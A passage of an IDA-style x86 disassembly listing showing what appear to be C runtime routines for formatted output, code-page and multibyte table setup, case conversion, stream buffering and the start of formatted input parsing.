		push	eax
		inc	ebx
		call	sub_423D63
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FCC4
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FD7B
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FC7D
		jmp	short loc_41FCC4
; ---------------------------------------------------------------------------


loc_41FCAF:				; CODE XREF: sub_41F5D4+698j
					; sub_41F5D4+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FD7B
		add	esp, 10h


loc_41FCC4:				; CODE XREF: sub_41F5D4+6BCj
					; sub_41F5D4+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FCDC ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FD4A
		add	esp, 10h


loc_41FCDC:				; CODE XREF: sub_41F5D4+68j
					; sub_41F5D4+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F600


loc_41FCED:				; CODE XREF: sub_41F5D4+1Fj
					; sub_41F5D4+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F5D4	endp

; ---------------------------------------------------------------------------
off_41FCF5	dd offset loc_41F773	; DATA XREF: sub_41F5D4+6Er
		dd offset loc_41F649	; jump table for switch	statement
		dd offset loc_41F664
		dd offset loc_41F6B0
		dd offset loc_41F6E7
		dd offset loc_41F6EF
		dd offset loc_41F724
		dd offset loc_41F7B7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD15	proc near		; CODE XREF: sub_41F5D4+1BDp
					; sub_41F5D4+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FD2E
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FD39
; ---------------------------------------------------------------------------


loc_41FD2E:				; CODE XREF: sub_41FD15+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F4BF
		pop	ecx
		pop	ecx


loc_41FD39:				; CODE XREF: sub_41FD15+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FD46
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD46:				; CODE XREF: sub_41FD15+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FD15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD4A	proc near		; CODE XREF: sub_41F5D4+65Ap
					; sub_41F5D4+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FD78
		mov	esi, [esp+8+arg_C]


loc_41FD5B:				; CODE XREF: sub_41FD4A+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FD15
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FD78
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FD5B


loc_41FD78:				; CODE XREF: sub_41FD4A+Bj
					; sub_41FD4A+25j
		pop	edi
		pop	esi
		retn
sub_41FD4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD7B	proc near		; CODE XREF: sub_41F5D4+670p
					; sub_41F5D4+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FDAF
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FD91:				; CODE XREF: sub_41FD7B+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FD15
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FDAF
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FD91


loc_41FDAF:				; CODE XREF: sub_41FD7B+Cj
					; sub_41FD7B+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FD7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB3	proc near		; CODE XREF: sub_41F5D4+E5p
					; sub_41F5D4+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FDB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDC0	proc near		; CODE XREF: sub_41F5D4+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FDC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDD0	proc near		; CODE XREF: sub_41F5D4+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FDD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDDE	proc near		; CODE XREF: sub_4201A2+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41FF77
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DAB64
		mov	[ebp+arg_0], esi
		jz	loc_41FF6B
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41FF61
		xor	edx, edx
		mov	eax, offset dword_43A8A8


loc_41FE12:				; CODE XREF: sub_41FDDE+41j
		cmp	[eax], esi
		jz	short loc_41FE88
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43A998
		jl	short loc_41FE12
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2650000h
		cmp	eax, 1
		jnz	loc_41FF59
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DAC80
		cmp	[ebp+var_18], 1
		mov	dword_4DAB64, esi
		rep stosd
		stosb
		mov	dword_4DAD84, ebx
		jbe	loc_41FF47
		cmp	[ebp+var_12], 0
		jz	loc_41FF1D
		lea	ecx, [ebp+var_11]


loc_41FE65:				; CODE XREF: sub_41FDDE+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FF1D
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FE76:				; CODE XREF: sub_41FDDE+A8j
		cmp	eax, edx
		ja	loc_41FF11
		or	byte_4DAC81[eax], 4
		inc	eax
		jmp	short loc_41FE76
; ---------------------------------------------------------------------------


loc_41FE88:				; CODE XREF: sub_41FDDE+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DAC80
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43A8B8[esi]


loc_41FEA4:				; CODE XREF: sub_41FDDE+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FED7


loc_41FEAB:				; CODE XREF: sub_41FDDE+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FED7
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FED0
		mov	edx, [ebp+var_4]
		mov	dl, byte_43A8A0[edx]


loc_41FEC5:				; CODE XREF: sub_41FDDE+F0j
		or	byte_4DAC81[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FEC5


loc_41FED0:				; CODE XREF: sub_41FDDE+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FEAB


loc_41FED7:				; CODE XREF: sub_41FDDE+CBj
					; sub_41FDDE+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FEA4
		mov	eax, [ebp+arg_0]
		mov	dword_4DAB7C, 1
		push	eax
		mov	dword_4DAB64, eax
		call	sub_41FFC1
		lea	esi, dword_43A8AC[esi]
		mov	edi, offset dword_4DAB70
		movsd
		movsd
		pop	ecx
		mov	dword_4DAD84, eax
		movsd
		jmp	short loc_41FF66
; ---------------------------------------------------------------------------


loc_41FF11:				; CODE XREF: sub_41FDDE+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FE65


loc_41FF1D:				; CODE XREF: sub_41FDDE+7Ej
					; sub_41FDDE+8Bj
		push	1
		pop	eax


loc_41FF20:				; CODE XREF: sub_41FDDE+14Fj
		or	byte_4DAC81[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FF20
		push	esi
		call	sub_41FFC1
		pop	ecx
		mov	dword_4DAD84, eax
		mov	dword_4DAB7C, 1
		jmp	short loc_41FF4D
; ---------------------------------------------------------------------------


loc_41FF47:				; CODE XREF: sub_41FDDE+74j
		mov	dword_4DAB7C, ebx


loc_41FF4D:				; CODE XREF: sub_41FDDE+167j
		xor	eax, eax
		mov	edi, offset dword_4DAB70
		stosd
		stosd
		stosd
		jmp	short loc_41FF66
; ---------------------------------------------------------------------------


loc_41FF59:				; CODE XREF: sub_41FDDE+51j
		cmp	dword_4D979C, ebx
		jz	short loc_41FF6F


loc_41FF61:				; CODE XREF: sub_41FDDE+27j
		call	sub_41FFF4


loc_41FF66:				; CODE XREF: sub_41FDDE+131j
					; sub_41FDDE+179j
		call	sub_42001D


loc_41FF6B:				; CODE XREF: sub_41FDDE+1Dj
		xor	eax, eax
		jmp	short loc_41FF72
; ---------------------------------------------------------------------------


loc_41FF6F:				; CODE XREF: sub_41FDDE+181j
		or	eax, 0FFFFFFFFh


loc_41FF72:				; CODE XREF: sub_41FDDE+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FDDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF77	proc near		; CODE XREF: sub_41FDDE+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4D979C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41FF97
		mov	dword_4D979C, 1
		jmp	near ptr 2641986h
; ---------------------------------------------------------------------------
		push	ss


loc_41FF97:				; CODE XREF: sub_41FF77+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41FFAC
		mov	dword_4D979C, 1
		nop
		jmp	near ptr 26419ABh
; ---------------------------------------------------------------------------


loc_41FFAC:				; CODE XREF: sub_41FF77+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41FFC0
		mov	eax, dword_4D97E0
		mov	dword_4D979C, 1

locret_41FFC0:				; CODE XREF: sub_41FF77+38j
		retn
sub_41FF77	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FFC1	proc near		; CODE XREF: sub_41FDDE+118p
					; sub_41FDDE+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41FFEE
		sub	eax, 4
		jz	short loc_41FFE8
		sub	eax, 0Dh
		jz	short loc_41FFE2
		dec	eax
		jz	short loc_41FFDC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FFC1+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41FFE2:				; CODE XREF: sub_41FFC1+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41FFE8:				; CODE XREF: sub_41FFC1+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41FFEE:				; CODE XREF: sub_41FFC1+9j
		mov	eax, 411h
		retn
sub_41FFC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFF4	proc near		; CODE XREF: sub_41FDDE:loc_41FF61p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DAC80
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DAB70
		mov	dword_4DAB64, eax
		mov	dword_4DAB7C, eax
		mov	dword_4DAD84, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41FFF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42001D	proc near		; CODE XREF: sub_41FDDE:loc_41FF66p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DAB64
		call	near ptr 2650000h
		nop
		cmp	eax, 1
		jnz	loc_420156
		xor	eax, eax
		mov	esi, 100h


loc_420047:				; CODE XREF: sub_42001D+34j
		mov	[ebp+eax+var_114], al


loc_42004E:				; DATA XREF: ___:004328B8o
					; ___:004328C4o
		inc	eax
		cmp	eax, esi
		jb	short loc_420047
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420098
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420066:				; CODE XREF: sub_42001D+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_42008D
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_42008D:				; CODE XREF: sub_42001D+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420066
		pop	edi
		pop	ebx


loc_420098:				; CODE XREF: sub_42001D+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DAD84
		push	dword_4DAB64
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423BF4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DAB64
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DAD84
		call	sub_4229D2
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DAB64
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DAD84
		call	sub_4229D2
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420113:				; CODE XREF: sub_42001D+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420131
		or	byte_4DAC81[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420129:				; CODE XREF: sub_42001D+127j
		mov	byte_4DAB80[eax], dl
		jmp	short loc_42014D
; ---------------------------------------------------------------------------


loc_420131:				; CODE XREF: sub_42001D+FCj
		test	dl, 2
		jz	short loc_420146
		or	byte_4DAC81[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420129
; ---------------------------------------------------------------------------


loc_420146:				; CODE XREF: sub_42001D+117j
		and	byte_4DAB80[eax], 0


loc_42014D:				; CODE XREF: sub_42001D+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420113
		jmp	short loc_42019F
; ---------------------------------------------------------------------------


loc_420156:				; CODE XREF: sub_42001D+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_42015D:				; CODE XREF: sub_42001D+180j
		cmp	eax, 41h
		jb	short loc_42017B
		cmp	eax, 5Ah
		ja	short loc_42017B
		or	byte_4DAC81[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420173:				; CODE XREF: sub_42001D+174j
		mov	byte_4DAB80[eax], cl
		jmp	short loc_42019A
; ---------------------------------------------------------------------------


loc_42017B:				; CODE XREF: sub_42001D+143j
					; sub_42001D+148j
		cmp	eax, 61h
		jb	short loc_420193
		cmp	eax, 7Ah
		ja	short loc_420193
		or	byte_4DAC81[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420173
; ---------------------------------------------------------------------------


loc_420193:				; CODE XREF: sub_42001D+161j
					; sub_42001D+166j
		and	byte_4DAB80[eax], 0


loc_42019A:				; CODE XREF: sub_42001D+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_42015D


loc_42019F:				; CODE XREF: sub_42001D+137j
		pop	esi
		leave
		retn
sub_42001D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201A2	proc near		; CODE XREF: ___:00422D83p
					; ___:00422DDFp ...
		cmp	dword_4DADAC, 0
		jnz	short locret_4201BD
		push	0FFFFFFFDh
		call	sub_41FDDE
		pop	ecx
		mov	dword_4DADAC, 1

locret_4201BD:				; CODE XREF: sub_4201A2+7j
		retn
sub_4201A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201BE	proc near		; CODE XREF: sub_41C151+2Bp
					; sub_41C151+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DAB7C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4201E2
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BD70
		add	esp, 0Ch
		jmp	short loc_420245
; ---------------------------------------------------------------------------


loc_4201E2:				; CODE XREF: sub_4201BE+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420227
		mov	ecx, [ebp+arg_4]


loc_4201ED:				; CODE XREF: sub_4201BE+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DAC81[esi], 4
		mov	[edi], al
		jz	short loc_420211
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_42021D
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420223
		jmp	short loc_420217
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4201BE+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420227


loc_420217:				; CODE XREF: sub_4201BE+51j
		test	edx, edx
		jnz	short loc_4201ED
		jmp	short loc_420227
; ---------------------------------------------------------------------------


loc_42021D:				; CODE XREF: sub_4201BE+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420227
; ---------------------------------------------------------------------------


loc_420223:				; CODE XREF: sub_4201BE+4Fj
		and	byte ptr [edi-2], 0


loc_420227:				; CODE XREF: sub_4201BE+2Aj
					; sub_4201BE+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420242
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420242:				; CODE XREF: sub_4201BE+6Fj
		mov	eax, [ebp+arg_0]


loc_420245:				; CODE XREF: sub_4201BE+22j
		pop	edi
		pop	ebp
		retn
sub_4201BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420248	proc near		; CODE XREF: sub_41C326+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4D97D0, 0
		push	ebx
		jnz	short loc_420273
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420311
		cmp	eax, 7Ah
		jg	loc_420311
		sub	eax, 20h
		jmp	loc_420311
; ---------------------------------------------------------------------------


loc_420273:				; CODE XREF: sub_420248+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_4202A6
		cmp	dword_43A88C, 1
		jle	short loc_420293
		push	2
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_42029E
; ---------------------------------------------------------------------------


loc_420293:				; CODE XREF: sub_420248+3Dj
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_42029E:				; CODE XREF: sub_420248+49j
		test	eax, eax
		jnz	short loc_4202A6


loc_4202A2:				; CODE XREF: sub_420248+AFj
		mov	eax, ebx
		jmp	short loc_420311
; ---------------------------------------------------------------------------


loc_4202A6:				; CODE XREF: sub_420248+34j
					; sub_420248+58j
		mov	edx, off_43A680
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4202C9
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_4202D2
; ---------------------------------------------------------------------------


loc_4202C9:				; CODE XREF: sub_420248+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_4202D2:				; CODE XREF: sub_420248+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4D97D0
		call	sub_4229D2
		add	esp, 20h
		test	eax, eax
		jz	short loc_4202A2
		cmp	eax, 1
		jnz	short loc_420304
		movzx	eax, [ebp+var_4]
		jmp	short loc_420311
; ---------------------------------------------------------------------------


loc_420304:				; CODE XREF: sub_420248+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420311:				; CODE XREF: sub_420248+14j
					; sub_420248+1Dj ...
		pop	ebx
		leave
		retn
sub_420248	endp


; =============== S U B	R O U T	I N E =======================================



sub_420314	proc near		; CODE XREF: sub_41C545+1Dp
					; sub_41DB5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4D9718, ecx
		mov	eax, offset dword_43A998


loc_420325:				; CODE XREF: sub_420314+1Ej
		cmp	ecx, [eax]
		jz	short loc_420349
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43AB00
		jl	short loc_420325
		cmp	ecx, 13h
		jb	short loc_420356
		cmp	ecx, 24h
		ja	short loc_420356
		mov	dword_4D9714, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420349:				; CODE XREF: sub_420314+13j
		mov	eax, dword_43A99C[edx*8]
		mov	dword_4D9714, eax
		retn
; ---------------------------------------------------------------------------


loc_420356:				; CODE XREF: sub_420314+23j
					; sub_420314+28j
		cmp	ecx, 0BCh
		jb	short loc_420370
		cmp	ecx, 0CAh
		mov	dword_4D9714, 8
		jbe	short locret_42037A


loc_420370:				; CODE XREF: sub_420314+48j
		mov	dword_4D9714, 16h

locret_42037A:				; CODE XREF: sub_420314+5Aj
		retn
sub_420314	endp


; =============== S U B	R O U T	I N E =======================================



sub_42037B	proc near		; CODE XREF: sub_41C56F+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423D3D
		test	eax, eax
		pop	ecx
		jz	short loc_420404
		cmp	esi, offset dword_43AD98
		jnz	short loc_420399
		xor	eax, eax
		jmp	short loc_4203A4
; ---------------------------------------------------------------------------


loc_420399:				; CODE XREF: sub_42037B+18j
		cmp	esi, offset dword_43ADB8
		jnz	short loc_420404
		push	1
		pop	eax


loc_4203A4:				; CODE XREF: sub_42037B+1Cj
		inc	dword_4D98FC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420404
		cmp	dword_4D97A0[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4D97A0h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4203EA
		push	ebx
		call	sub_41BC9B
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4203EA
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4203F7
; ---------------------------------------------------------------------------


loc_4203EA:				; CODE XREF: sub_42037B+4Dj
					; sub_42037B+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4203F7:				; CODE XREF: sub_42037B+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420404:				; CODE XREF: sub_42037B+10j
					; sub_42037B+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_42037B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420408	proc near		; CODE XREF: sub_41C56F+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420432
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420443
		push	esi
		call	sub_41E32B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420432:				; CODE XREF: sub_420408+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420443
		push	eax
		call	sub_41E32B
		pop	ecx


loc_420443:				; CODE XREF: sub_420408+10j
					; sub_420408+32j
		pop	esi
		retn
sub_420408	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420445	proc near		; CODE XREF: sub_41CA73+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420E4B
		mov	edi, [ebp+arg_0]
		jmp	short loc_420474
; ---------------------------------------------------------------------------


loc_42046F:				; CODE XREF: sub_420445+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420474:				; CODE XREF: sub_420445+28j
		cmp	dword_43A88C, 1
		jle	short loc_42048C
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_42049B
; ---------------------------------------------------------------------------


loc_42048C:				; CODE XREF: sub_420445+36j
		mov	ecx, off_43A680
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_42049B:				; CODE XREF: sub_420445+45j
		cmp	eax, ebx
		jz	short loc_4204D5
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420ED2
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420EBB
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DE10
		add	esp, 0Ch


loc_4204C3:				; CODE XREF: sub_420445+8Ej
		test	eax, eax
		jz	short loc_4204D5
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DE10
		pop	ecx
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204D5:				; CODE XREF: sub_420445+58j
					; sub_420445+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420DB7
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_42050C:				; CODE XREF: sub_420445+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43A88C, 1
		jle	short loc_420529
		movzx	eax, bl
		push	4
		push	eax
